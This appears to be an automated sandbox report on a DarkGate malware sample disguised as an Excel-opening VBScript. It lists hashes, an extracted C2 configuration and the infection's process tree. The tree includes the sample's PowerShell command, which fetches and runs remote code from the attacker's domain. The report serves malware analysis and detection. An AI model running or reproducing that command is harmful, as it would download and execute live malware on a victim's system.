Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Resubmissions
12/08/2024, 11:41
240812-ntgelazapr 808/05/2024, 15:00
240508-sdtr7sab2w 805/04/2024, 15:07
240405-shpdaafc3v 1004/04/2024, 20:19
240404-y3t26aaa37 10Analysis
-
max time kernel
188s -
max time network
258s -
platform
windows10-1703_x64 -
resource
win10-20240404-en -
resource tags
arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system -
submitted
04/04/2024, 20:19
Static task
static1
Behavioral task
behavioral1
Sample
EXCEL_DOCUMENT_OPEN.vbs
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
EXCEL_DOCUMENT_OPEN.vbs
Resource
win10-20240404-en
General
-
Target
EXCEL_DOCUMENT_OPEN.vbs
-
Size
23KB
-
MD5
6925ed4c3665b27592c356b0bbd4948d
-
SHA1
7429a3929f68c87af85266c5d304f3e26e11a8c0
-
SHA256
5237e653da5478c91e1de3d51a9713753b4bc1b4c9be8e9136cd9d94e216ae77
-
SHA512
333ffd943ea86e75822f6c59412fe12b77f95ddeffd1f0286606faab19b595b27b528457158cc6afe2dcb75455ce9e1fb012ddf171f895135fc90e9d249599b6
-
SSDEEP
384:J0Y5Y65Go4F0yNWe037NwNAUihUN+0X2RyiUiK3xYUif3JNB6Bcy:hYFFFNWe037NwNAUiKNIRyiUiK3xYUi2
Malware Config
Extracted
darkgate
admin888
irreceiver.com
-
anti_analysis
true
-
anti_debug
false
-
anti_vm
true
-
c2_port
80
-
check_disk
false
-
check_ram
false
-
check_xeon
false
-
crypter_au3
false
-
crypter_dll
false
-
crypter_raw_stub
false
-
internal_mutex
AdRDIQXg
-
minimum_disk
50
-
minimum_ram
4000
-
ping_interval
6
-
rootkit
false
-
startup_persistence
true
-
username
admin888
Signatures
-
Detect DarkGate stealer 2 IoCs
resource yara_rule behavioral2/memory/3800-62-0x0000000004960000-0x00000000049D4000-memory.dmp family_darkgate_v6 behavioral2/memory/3800-64-0x0000000004960000-0x00000000049D4000-memory.dmp family_darkgate_v6 -
Blocklisted process makes network request 4 IoCs
flow pid Process 2 4188 powershell.exe 4 4188 powershell.exe 5 4188 powershell.exe 6 4188 powershell.exe -
Executes dropped EXE 1 IoCs
pid Process 3800 AutoHotkey.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 AutoHotkey.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString AutoHotkey.exe -
Suspicious behavior: EnumeratesProcesses 5 IoCs
pid Process 4188 powershell.exe 4188 powershell.exe 4188 powershell.exe 3800 AutoHotkey.exe 3800 AutoHotkey.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4188 powershell.exe -
Suspicious use of WriteProcessMemory 7 IoCs
description pid Process procid_target PID 2176 wrote to memory of 4188 2176 WScript.exe 73 PID 2176 wrote to memory of 4188 2176 WScript.exe 73 PID 4188 wrote to memory of 3800 4188 powershell.exe 75 PID 4188 wrote to memory of 3800 4188 powershell.exe 75 PID 4188 wrote to memory of 3800 4188 powershell.exe 75 PID 4188 wrote to memory of 5008 4188 powershell.exe 76 PID 4188 wrote to memory of 5008 4188 powershell.exe 76 -
Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 5008 attrib.exe
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\EXCEL_DOCUMENT_OPEN.vbs"1⤵
- Suspicious use of WriteProcessMemory
PID:2176 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'irreceiver.com/lcyqeksm')2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4188 -
C:\bnpk\AutoHotkey.exe"C:\bnpk\AutoHotkey.exe" C:/bnpk/script.ahk3⤵
- Executes dropped EXE
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
PID:3800
-
-
C:\Windows\system32\attrib.exe"C:\Windows\system32\attrib.exe" +h C:/bnpk/3⤵
- Views/modifies file attributes
PID:5008
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1B
MD5c4ca4238a0b923820dcc509a6f75849b
SHA1356a192b7913b04c54574d18c28d46e6395428ab
SHA2566b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA5124dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
-
Filesize
892KB
MD5a59a2d3e5dda7aca6ec879263aa42fd3
SHA1312d496ec90eb30d5319307d47bfef602b6b8c6c
SHA256897b0d0e64cf87ac7086241c86f757f3c94d6826f949a1f0fec9c40892c0cecb
SHA512852972ca4d7f9141ea56d3498388c61610492d36ea7d7af1b36d192d7e04dd6d9bc5830e0dcb0a5f8f55350d4d8aaac2869477686b03f998affbac6321a22030
-
Filesize
441B
MD577f2459d628fb37ef971846326b498a8
SHA13baefa06af304c7db531bbebe2c285d16ee0b337
SHA256413ca585a9217847287dd01d836d7c3a866729016bc9cb2eb6296d28bac5b937
SHA512869c5c790c0f8f8626784d3209f40fe731a7886a3a9e1e834f8d2380fb9dfa2874fded5120f12b92beeab4d413c579cc8512b4660b2a905574adaa43557b5f01
-
Filesize
924KB
MD563b3d0aa63886a380b08354f9aa42571
SHA1163f4c68cc88d5738728100f922e19d595ae1623
SHA25641472438e798bf94a68600f1519552a30c2eeb4b352549ab57e2351d89271a2b
SHA5128632654b064579a0e76d088571094daaaf930c06dcf8080ee04a9fb393e8d0ffc4cae7ad35cf757b5f817dabad03a37869d873be0784a2af5ca719c85861b54f